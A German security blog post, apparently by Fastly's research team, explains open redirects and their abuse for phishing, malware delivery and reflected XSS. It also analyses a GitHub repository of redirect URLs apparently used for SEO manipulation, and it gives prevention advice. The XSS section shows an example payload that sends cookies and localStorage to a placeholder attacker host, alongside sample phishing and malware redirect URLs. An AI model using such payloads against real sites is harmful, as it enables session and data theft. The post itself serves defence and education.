Open Redirects: Praxisbeispiele und Empfehlungen

Offene URL-Umleitungen sind ein Sicherheitsproblem bei Web-Anwendungen, das es Angreifern erleichtert, Nutzer auf bösartige Ressourcen umzuleiten. Diese Schwachstelle, die auch als „Open Redirects“ bezeichnet wird, tritt auf, wenn Angreifer Informationen an eine Anwendung übermitteln können, durch die sich Nutzer an einen anderen Ort umleiten lassen. Dieser Ort mag eine Website oder ein Server sein, die vom Angreifer kontrolliert werden. Ziel der ganzen Sache ist es, Malware zu verteilen, Nutzer dazu zu verleiten, einem Link zu vertrauen, bösartigen Code auf vertrauenswürdige Weise auszuführen, Werbebetrug zu betreiben oder sogar SEO-Manipulationen durchzuführen. Zu verstehen, wie Open Redirects missbraucht werden können, ist sicherlich hilfreich. Aber noch wichtiger ist, zu wissen, wie man sie von vornherein umgehen kann.

Eines unserer Ziele im Fastly Security Research Team ist, die Taktiken zu verstehen, die Angreifer zur Manipulation von Anwendungen verwenden, und wie sie gestoppt werden können. Angreifer machen sich die Tricks anderer Praktiken zunutze, solange sie damit ihre Ziele erreichen können. Wenn wir also unerwünschte Aktivitäten erkennen, die nicht unbedingt von böswilligen Motiven angetrieben werden, können wir verstehen, wie ein Angreifer dieselben Methoden und Tools für seine Zwecke nutzen könnte. Deshalb fanden wir es äußerst interessant, bei einer unserer Recherchen auf ein GitHub Repository voller Redirects gestoßen zu sein.

In diesem Blogpost führen wir Sie durch die Ergebnisse unserer Recherchen und erläutern Ihnen, wie Redirects verwendet werden, wie sie missbraucht werden können und wie Sie diesen Missbrauch verhindern können.

Das Risiko von URL Redirects

Seit Jahren versucht die Branche, Endnutzern beizubringen, einen Link vor Nutzung kritisch zu prüfen. In Sicherheitsschulungen werden häufig Beispiele gezeigt, wie man sich vor dem Anklicken eines Links vergewissern kann, dass man darüber zur erwarteten Domain gelangt.

So sollte man zum Beispiel nur auf Links wie den Folgenden klicken:

goodexample.com

… und nicht etwa auf einen wie diesen:

goodexample.com.badexample.com
goodexample-com-badexample.com

Häufig sind Nutzer jedoch nicht ausreichend geschult, um Websites zu erkennen, die Redirects akzeptieren, wie z. B.:

goodexample.com/redir.php?q=badexample.com

Wenn überhaupt, wurde Endnutzern bisher ausdrücklich eingebläut, Links wie diesem zu vertrauen, auch wenn sie letztlich zu „badexample.com“ umleiten. Entwickler und Administratoren einer Website sind also besser beraten, selbst sicherzustellen, dass ihre Technologie nicht dazu verwendet werden kann, Nutzer auf eine nicht beabsichtigte Website umzuleiten. Gelingt ihnen dies nicht, kann die Umleitung ihren Ruf schädigen und ihren Nutzern direkten Schaden zufügen.

Was genau sind also Open Redirects?

Redirects sind ein relativ einfaches Konzept. Eine Web-Anwendung kann Ihren Browser anweisen, im Rahmen seines normalen Betriebs automatisch zu einer anderen Website zu wechseln. Solche Weiterleitungen kommen ständig und aus einfachen Gründen vor, etwa wenn von der HTTP-Version einer Website auf die verschlüsselte HTTPS-Version umgeleitet wird oder wenn Websites ihren Endpoint von /oldapp auf /newapp ändern. Ausgeführt wird das Ganze über die HTTP-Antwort, in HTML oder in JavaScript:

HTTP-Antwort:

HTTP/1.1 301 Moved Permanently
Location: https://www.example.com/newapp

HTML:

<meta http-equiv="refresh" 
content="5;URL='https://www.example.com/newapp'"/>

JavaScript:

window.location.href = 'https://www.example.com/newapp'

In allen drei Fällen sieht ein Nutzer, der http://www.example.com/oldapp besucht und diese Antworten erhalten hat, dass sein Browser automatisch den neuen Zielort unter https://www.example.com/newapp öffnet. Im Gegensatz zu diesen Beispielen, bei denen die Umleitung innerhalb derselben Domain erfolgt, sind Open Redirects unbeabsichtigt und leiten den Nutzer auf eine vom Angreifer kontrollierte Seite um.

Ein Open Redirect liegt vor, wenn die anzusteuernde URL von außerhalb der Anwendung angegeben und ein beliebiger Zielort spezifiziert werden kann. In der URL goodexample.com/redir.php?q=badexample.com zum Beispiel akzeptiert die Anwendung redir.php den Query-String q=badexample.com und leitet zu badexample.com um.

Open Redirects lassen sich weiter in drei Verhaltensmuster unterteilen:

Völlig transparent für den Nutzer: Eine Server-Antwort über eine 3xx-Umleitung fällt immer in diese Kategorie, und auch HTML/JavaScript kann je nach Implementierung in diese Kategorie fallen.
Keine Nutzereingaben erforderlich, aber verzögert: Im obigen HTML-Beispiel steht die Zahl 5 für eine 5-sekündige Verzögerung vor der automatischen Umleitung. Auf diese Weise kann eine Seite den Nutzer davor warnen, was gleich passiert, die Umleitung erfolgt aber trotzdem automatisch.
Erfordert Nutzereingaben: Eine Seite, die keinesfalls umleitet, ohne dass der Nutzer etwas anklickt, fällt in diese Kategorie. Sofern der Nutzer auf die Gefahr seiner Aktionen hingewiesen wird, erschwert diese risikoarme Implementierung den Vertrauensmissbrauch erheblich.

Böswilliger Missbrauch von Redirects

Die naheliegendsten Beispiele für den Missbrauch von URL-Umleitungen sind Phishing und die Verbreitung von Malware, aber auch Cross Site Scripting (XSS) ist durch Redirects möglich.

Phishing

Die beliebteste Angriffsform für die Übermittlung eines bösartigen Links ist die E-Mail, da sie die Möglichkeit bietet, einen Köder einzubetten. Der Köder ist der Text der E-Mail, der eine Botschaft und einen Handlungsaufruf enthält, mit dem ein Angreifer sein Opfer davon überzeugen will, auf einen Link zu klicken.

Beliebte Lockversuche vermitteln dem Leser ein Gefühl der Dringlichkeit betreffend die persönlichen Finanzen, während andere mit neuen Informationen über ein aktuelles Ereignis locken. Alles, was in den Ohren des Endnutzers natürlich oder dringend klingt, erhöht die Erfolgschancen, dass er einen bösartigen Link tatsächlich anklicken wird.

Phishing-Angriffe tarnen sich oft als vertrauenswürdige Websites an böswilligen Speicherorten und warten darauf, dass Nutzer versuchen, sich anzumelden. Ein Angreifer könnte zum Beispiel eine nachgebildete Banking-Website auf einer von ihm kontrollierten Domain hosten und anschließend eine URL mit Open Redirects auf der Banking-Website erstellen, um Nutzer auf die bösartige Website umzuleiten:

https://goodbank.example.com/external-link.jspa?
url=https%3A%2F%2Fphishingexample.com/goodbankfrauddept

In diesem Beispiel missbraucht der Angreifer goodbank.example.com, um auf die von ihm kontrollierte URL phishingexample.com/goodbankfrauddept umzuleiten.

Malware

Die Verbreitung von Malware über Open Redirects ist der Phishing-Angriffsform sehr ähnlich, mit dem einzigen Unterschied, dass das endgültige Ziel keine Phishing-Seite, sondern eine bösartige Datei ist:

https://goodhealthsite.example.com/exit.asp?
url=https%3A%2F%2Fmalwareexample.com/currentevent.pdf

Hier ist für goodhealthsite.example.com ein Open Redirect eingerichtet, der dazu führt, dass der Nutzer die bösartige Datei von malwareexample.com/currentevent.pdf herunterlädt.

XSS

Angreifer können auch das inhärente Vertrauen des Browsers in Code missbrauchen, der von der ursprünglichen URL stammt. JavaScript kann als Umleitungsziel übermittelt werden, was den Browser veranlasst, den Code auszuführen, wenn er zurück an den Nutzer gesendet wird. Diese Art von Angriff wird als „reflektiertes XSS“ bezeichnet, da der Browser den Code an die Anwendung sendet und der Code dann an den Browser des Nutzers zurückgesendet wird. Bei dieser Art von Angriff führt der Browser den bösartigen Code innerhalb der Website aus, wodurch sogar lokal gespeicherte Daten aus dem Browser gestohlen werden können.

https://example.com/proxy.php?
link=%3Cscript%3Eimage%20%3D%20new%20Image%28%29%3B%20image.src%3D%22https%3A%
2F%2Fcollectionexample.com%2F%3Fc%3D%22%2Bdocument.cookie%2B%22ls%3D%22%2BJSON.st
ringify%28localStorage%29%3B%3C%2Fscript%3E

So sieht die entschlüsselte Version der URL aus:

https://example.com/proxy.php?link=<script>image = new Image(); 
image.src="https://collectionexample.com/?c="+document.cookie+"ls="+JSON.stringify(localStorage);
</script>

In diesem Beispiel sendet der Browser des Nutzers alle verfügbaren Cookies und für example.com lokal gespeicherten Informationen an die vom Angreifer kontrollierte Domain collectionexample.com.

Dabei gilt zu beachten, dass moderne Browser den JavaScript-Log-Handler im Location-Header-Feld nicht akzeptieren. Das bedeutet, dass der Browser JavaScript nicht ausführt, wenn die HTTP-Antwort umgeleitet und stattdessen JavaScript bereitgestellt wird. Damit das obige XSS-Beispiel zum Erfolg führt, müsste die URL also an anderer Stelle auf der Seite abgebildet werden. Viele Umleitungsimplementierungen zeigen dem Nutzer jedoch vor der eigentlichen Umleitung an, wohin er umgeleitet wird. Die Umleitung erfolgt also in HTML oder JavaScript, wodurch genau dieser Angriff auf solchen Seiten möglich ist.

Aktive Nutzung von Redirects

Wir sind grundsätzlich daran interessiert zu verstehen, wie diese Techniken aktiv zum Einsatz kommen. Durch eine vor Kurzem durchgeführte Datenanalyse wurden wir auf einen interessanten GitHub Nutzer aufmerksam, der nicht mehr aktiv ist (https://github.com/sonalimandloi/).

Die Dateien, die dieser Nutzer in seinen Repositories gespeichert hatte, enthalten mehr als 18.000 Zeilen mit URLs, bei denen es sich offenbar um Missbrauchsversuche mit Open Redirects handelt. Sie lassen sich jedoch in eine relativ kleine Anzahl von Gruppen unterteilen.

87 % der URLs enthalten einen Query String, der versucht, via Open Redirects Anfragen auf 13 Domains umzuleiten.
12 % sind Links zu nicht verwandten Websites, auf denen Nutzerkonten mit Links zurück zur obigen Domain-Liste erstellt wurden. Die erstellten Nutzernamen sind auf allen Websites gleich.
Weniger als 1 % sind URL-Verkürzer oder Links zu direkten Blogeinträgen, die ebenfalls beide auf die oben genannten Domains verweisen.

Was hatte dieser Nutzer vor?

Um den Wert einer Website zu ermitteln, wird in der Regel danach gefragt, wie viele andere Websites auf sie verweisen oder zugreifen. Die sich daraus ergebenden Werte bestimmen die Suchmaschinenergebnisse, den Werbewert oder sogar den Verkaufswert einer Domain. Auch wenn das eigentliche Ziel dieses Nutzers unklar bleibt, so ist doch offensichtlich, dass er versuchte, die Bekanntheit und den Wert der Websites zu steigern, und Open Redirects gehörten zu seiner Strategie, um dies zu erreichen.

URL-Umleitungen

Das Verhalten dieses Nutzers bietet nützliche Einblicke in eine große Anzahl von missbräuchlichen Umleitungen, die uns helfen können, mehr darüber zu erfahren, wie wir sie im Alltag aufspüren können. Potenzielle SEO-Manipulationen aufzudecken ist zwar faszinierend, aber für das Thema Security nur bedingt von Nutzen.

Die von uns überprüften Quelldaten enthalten mehr als 3.000 eindeutige Redirects, die in den Dateien aufgeführt sind. Viele davon scheinen auf einen Klick seitens des Nutzers angewiesen zu sein (was zeigt, dass die Manipulation möglicherweise keine transparente Umleitung erforderte), während viele andere nicht mehr funktionieren. Mindestens neun Monate nach ihrer Auflistung weisen jedoch 23 der eindeutigen Open Redirect URLs nach wie vor eine vollständige URL-Umleitung auf.

Die Strukturen solcher URLs können Aufschluss darüber geben, wie man am besten nach ihnen sucht. Die Top 10 der beobachteten Redirects sind:

Die gute Nachricht ist, dass etliche dieser Redirects einem geschulten Sicherheitsteam womöglich nicht entgehen würden. Endpoint-Begriffe wie url, external-link, proxy, redir, page und exit sind allesamt Elemente, die geprüft werden sollten, um sicherzustellen, dass Redirects nicht von außerhalb des vorgesehenen Bereichs möglich sind. Wir empfehlen dringend, Ihren eigenen Footprint nach diesen Endpoint-Typen zu durchsuchen und sie auf Open Redirects zu testen. Zum Zwecke solcher Tests können Sie kodierte und dekodierte URLs in jede Anwendung einfügen, die in der Lage ist, Nutzer an einen anderen Ort umzuleiten.

Es gibt jedoch auch Endpoints in der Liste, die nicht als unerwünscht auffallen. Allerdings lassen ihre Query-Argumente gegebenenfalls Rückschlüsse auf potenzielle Probleme zu. Namen wie url, link, goto, gotoURL und outLink liefern Hinweise auf mögliche Open Redirects von einer Anwendung, die auf Ihrem Footprint läuft.

Verhinderung von Missbrauch

Nachdem wir nun wissen, wie Open Redirects missbraucht werden können, und einige gängige Namen kennen, die von Angreifern genutzt werden, gilt es jetzt darüber zu sprechen, wie man Anwendungen so gestaltet, dass der Missbrauch nicht möglich ist. Die wichtigste Frage, die man sich in der Entwurfsphase eines Projekts stellen sollte, lautet: „Müssen wir überhaupt einen Redirect bereitstellen?“ Es gibt triftige Gründe dafür, dass eine Anwendung ausgehende Links nachverfolgen soll, aber sie erfordern zusätzliche Designüberlegungen, um sie vor Missbrauch zu schützen. Ihr Unternehmen sollte abwägen, ob sich der zusätzliche Aufwand lohnt oder ob es besser ist, ganz auf Umleitungen zu verzichten.

Wenn sich Ihr Unternehmen dennoch für die Implementierung von Redirects entscheidet, besteht die optimale Gefahrenabwehr darin, Nutzereingaben vollständig zu vermeiden. Indem Sie Umleitungen nur dann bereitstellen, wenn die Anwendung dies erfordert, liefern Sie etwaigem Missbrauch beträchtlich weniger Angriffsfläche. Wenn dies aber nicht den Anforderungen der Anwendung entspricht, kann eine vordefinierte Liste von URLs, die ordnungsgemäß abgeglichen werden, verhindern, dass beliebige Ziele böswillig eingefügt werden.

Wenn eine Umleitung auf Grundlage von Nutzereingaben erforderlich ist, empfiehlt es sich, die Schemata zu begrenzen, die für den Redirect verwendet werden können. Die Beschränkung der Eingabe auf http- oder https-URLs kann zum Beispiel dazu beitragen, die oben beschriebenen JavaScript Risiken zu eliminieren.

Viele der in der Praxis beobachteten Umleitungen führen nur dann einen Redirect durch, wenn der Nutzer auf einen Link klickt oder eine Schaltfläche auf der Seite betätigt. Oft wird dem Nutzer eine visuelle Warnung angezeigt, die ihn über das Risiko aufklärt, das er eingeht, wenn er fortfährt. Leider wissen wir alle, dass Internetnutzer oft nicht gründlich lesen, wenn sie es eilig haben. Und manche finden diese Warnungen vielleicht sogar verwirrend. Obwohl derartige Warnmeldungen das Nutzerverhalten also positiv beeinflussen könnten, raten wir dennoch, die oben genannten Empfehlungen in das Softwaredesign einfließen zu lassen. Weitere Informationen zu diesem Thema finden Sie im OWASP-Leitfaden für Open Redirects.

Nächste Schritte

Wir haben GitHub über das Repository voller Open Redirects benachrichtigt und auch alle Besitzer von URLs, die für noch funktionierende Open Redirects anfällig sind, über ihr Missbrauchspotenzial informiert. Wir wissen jedoch, dass die Liste der Endpoints dieses einen Nutzers nicht alle existierenden Risiken präsentiert.

Deshalb fordern wir Sie alle auf, darüber nachzudenken, wie Sie den Missbrauch von Open Redirects in Ihren eigenen Umgebungen erkennen, wie Sie sich davor schützen und wie Sie mit den hier zur Verfügung gestellten Informationen Ihren Entwickler- und Sicherheitsteams die richtige Implementierung dieser Art von Funktion in Ihrer Umgebung erleichtern können.

Wenn Sie mehr darüber erfahren möchten, wie Fastly Sie bei Ihren Sicherheitsanforderungen unterstützen kann, besuchen Sie /products/cloud-security.